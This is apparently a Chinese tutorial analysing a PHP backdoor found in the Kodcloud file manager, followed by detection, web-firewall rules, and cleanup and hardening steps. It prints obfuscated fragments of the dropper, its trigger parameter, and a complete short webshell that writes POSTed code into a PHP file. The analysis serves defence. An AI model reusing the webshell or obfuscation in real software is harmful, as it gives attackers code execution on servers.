针对可道云文件管理系统的病毒分析
字数 1168 2025-08-07 08:22:27
可道云文件管理系统病毒分析与防御教学
0x00 病毒概述
本教学文档分析了一种针对可道云文件管理系统的恶意病毒,该病毒具有以下特点:
- 伪装成系统文件(SQLDB.php)逃避检测
- 使用混淆变量名和编码技术绕过安全检测
- 通过特定参数触发下载并安装恶意压缩包
- 包含多个后门文件实现持久化控制
0x01 病毒文件分析
1.1 主病毒文件(SQLDB.php)
混淆技术分析
病毒使用多层混淆技术:
$SQLKWD[SSHDB] = explode("|v|t|Z", "H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B");
解码后实际包含的关键函数:
[1] => defined
[2] => fopen
[3] => fputs
[4] => fclose
[5] => is_file
[6] => unlink
关键功能分析
- 参数验证机制:
$AGAAAAG = isset($SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG)][pack($SQLKWD[SQLDBWD]{0x0}, $SQLKWD[SQLDBWD]{4})]) ? $SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG)][pack($SQLKWD[SQLDBWD]{0x0}, $SQLKWD[SQLDBWD]{4})] : pack($SQLKWD[SQLDBWD]{0x0}, $SQLKWD[SQLDBWD][05]);
- 恶意下载功能:
$AGAAAAA = curl_init();
$AAGGGGG = pack($SQLKWD[SQLDBWD]{0x0}, $SQLKWD[SQLDBWD]{07});
curl_setopt($AGAAAAA, CURLOPT_URL, $AAGGGGG);
curl_setopt($AGAAAAA, CURLOPT_RETURNTRANSFER, (AAGAGGG * 41 - 2008));
$AAGGGGA = curl_exec($AGAAAAA);
curl_close($AGAAAAA);
下载地址解码为:
http://static.kodcloud.com/update/download/kodexplorer4.40.zip
- 文件操作功能:
$AAGGAGG = new ZipArchive();
if ($AAGGAGG->open(pack($SQLKWD[SQLDBWD]{0x0}, $SQLKWD[SQLDBWD][012])) === true) {
$AAGGAGG->extractTo(pack($SQLKWD[SQLDBWD]{0x0}, $SQLKWD[SQLDBWD]{11}));
$AAGGAGG->close();
}
1.2 辅助后门文件
zipper.class.php
- 伪装成系统文件
- 用于压缩目录和备份数据
- 实现数据窃取功能
SQLcheck.php
<?php
$SQL = $_POST['usename'];
$myfile = fopen("后台备份文件误删.php", "w") or die("Unable to open file!");
fwrite($myfile, $SQL);
fclose($myfile);
?>
- 通过登录页面接收恶意代码
- 将代码写入可执行文件实现后门
0x02 病毒行为分析
2.1 攻击流程
- 攻击者上传伪装病毒文件(SQLDB.php)
- 通过特定参数(p=0pen.sesame)触发病毒
- 下载恶意压缩包(kodexplorer4.40.zip)
- 解压并覆盖原有系统文件
- 创建持久化后门(zipper.class.php)
- 通过SQLcheck.php实现代码执行
2.2 危害评估
- 完全控制系统文件
- 窃取服务器数据
- 实现持久化控制
- 绕过腾讯云企业版杀毒检测
- 兼容性问题(部分PHP版本不兼容)
0x03 检测与防御
3.1 检测方法
-
文件校验:
- 检查是否存在SQLDB.php文件
- 比对zipper.class.php的哈希值
- 查找异常的系统文件修改时间
-
行为监控:
- 监控对
http://static.kodcloud.com/update/download/的访问 - 检测异常的ZipArchive操作
- 监控异常的curl下载行为
- 监控对
-
日志分析:
- 检查包含"0pen.sesame"参数的请求
- 监控文件创建和修改事件
3.2 防御措施
- 文件系统防护:
# 查找可疑文件
find /var/www/html -name "SQLDB.php" -o -name "zipper.class.php"
# 设置文件权限
chmod -R 750 /var/www/html
chown -R www-data:www-data /var/www/html
- Web应用防火墙规则:
# 阻止可疑参数
SecRule ARGS_GET:p "@streq 0pen.sesame" "id:1001,deny,status:403,msg:'Virus access attempt'"
# 阻止可疑下载
SecRule REQUEST_FILENAME "@contains SQLDB.php" "id:1002,deny,status:403,msg:'Virus file access'"
- PHP安全配置:
; 禁用危险函数
disable_functions = "curl_exec,curl_multi_exec,exec,passthru,shell_exec,system,proc_open,popen"
; 限制文件操作
open_basedir = "/var/www/html:/tmp"
- 定期检查:
# 检查最近修改的PHP文件
find /var/www/html -name "*.php" -mtime -7 -exec ls -la {} \;
# 检查可疑进程
ps aux | grep -E 'curl|wget|zip|unzip'
0x04 应急响应
4.1 感染后处理步骤
-
隔离系统:
- 立即断开网络连接
- 禁止所有远程访问
-
取证分析:
# 创建系统快照
tar czvf /backup/forensic_$(date +%Y%m%d).tar.gz /var/www/html /var/log
# 检查crontab
crontab -l -u www-data
crontab -l -u root
- 清除恶意文件:
# 删除病毒文件
rm -f /var/www/html/SQLDB.php
rm -f /var/www/html/zipper.class.php
rm -f /var/www/html/后台备份文件误删.php
# 检查并恢复原始文件
wget https://official.site/kodexplorer.zip -O /tmp/clean.zip
unzip -o /tmp/clean.zip -d /var/www/html/
- 系统加固:
# 重置所有密码
passwd www-data
passwd root
# 更新系统
apt update && apt upgrade -y
4.2 后续监控
- 部署文件完整性监控:
# 使用aide进行文件完整性检查
apt install aide
aideinit
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide.wrapper --check
- 配置日志集中分析:
# 配置rsyslog远程日志
echo "*.* @logserver:514" >> /etc/rsyslog.conf
systemctl restart rsyslog
0x05 总结与建议
5.1 安全建议
-
开发环境安全:
- 使用独立的开发和测试环境
- 避免在生产环境直接进行漏洞测试
- 及时清理测试文件和临时文件
-
防御策略:
- 实施最小权限原则
- 定期更新系统和应用补丁
- 使用Web应用防火墙
- 配置适当的文件监控
-
安全意识:
- 培训开发人员和安全意识
- 建立代码审查流程
- 实施变更管理流程
5.2 检测脚本示例
#!/bin/bash
# 可道云病毒检测脚本
VIRUS_FILES=("SQLDB.php" "zipper.class.php" "后台备份文件误删.php")
MALICIOUS_URL="static.kodcloud.com/update/download"
echo "[+] 开始扫描可道云病毒..."
# 检查病毒文件
for file in "${VIRUS_FILES[@]}"; do
find /var/www/html -name "$file" -exec echo "[!] 发现病毒文件: {}" \;
done
# 检查访问日志中的恶意URL
grep -r "$MALICIOUS_URL" /var/log/
# 检查异常的PHP进程
ps aux | grep php | grep -v grep | awk '{print $11}' | sort | uniq -c | sort -nr
echo "[+] 扫描完成"
通过本教学文档,您应该能够全面了解该病毒的工作原理、检测方法和防御措施。请定期检查您的系统并保持安全更新,以防止此类攻击。